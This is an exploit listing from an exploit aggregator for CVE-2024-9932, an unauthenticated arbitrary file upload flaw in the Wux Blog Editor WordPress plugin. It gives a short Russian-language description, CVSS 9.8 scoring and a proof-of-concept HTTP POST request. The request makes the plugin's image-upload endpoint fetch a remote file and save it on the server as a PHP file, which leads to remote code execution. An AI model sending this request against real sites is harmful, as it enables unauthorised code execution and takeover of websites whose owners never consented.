Sploitus

Exploit for CVE-2024-9932

kitploit · 2026-08-27

Exploit Code

MARKDOWN42 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-RANDOMROBBIEBF-CVE-2024-9932
# CVE-2024-9932

Wux Blog Editor <= 3.0.0 - Неавторизованная произвольная загрузка файлов

# Описание:

Плагин Wux Blog Editor для WordPress уязвим для произвольной загрузки файлов из-за недостаточной проверки типов файлов в функции 'wuxbt_insertImageNew' в версиях до 3.0.0 включительно. Это позволяет неавторизованным злоумышленникам загружать произвольные файлы на сервер сайта, что может привести к удаленному выполнению кода.

root@kitploit:~
    
    
    Link: CVE-2024-9932
    State: PUBLISHED
    Score: 9.8
    CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    

## PoC

root@kitploit:~
    
    
    POST /wp-json/external-post-editor/v2/image-upload HTTP/1.1
    Host: kubernetes.docker.internal
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:132.0) Gecko/20100101 Firefox/132.0
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate, br
    Referer: http://kubernetes.docker.internal/wp-admin/plugins.php?plugin_status=all&paged=1&s
    Content-Type: application/json; charset=UTF-8
    X-Requested-With: XMLHttpRequest
    Content-Length: 165
    Origin: http://kubernetes.docker.internal
    Connection: keep-alive
    
    {
        "url": "https://rfi.nessus.org/rfi.txt",
        "imageName": "rf.php",
        "image_alt": "Description of the image",
        "image_title": "Title of the image"
    }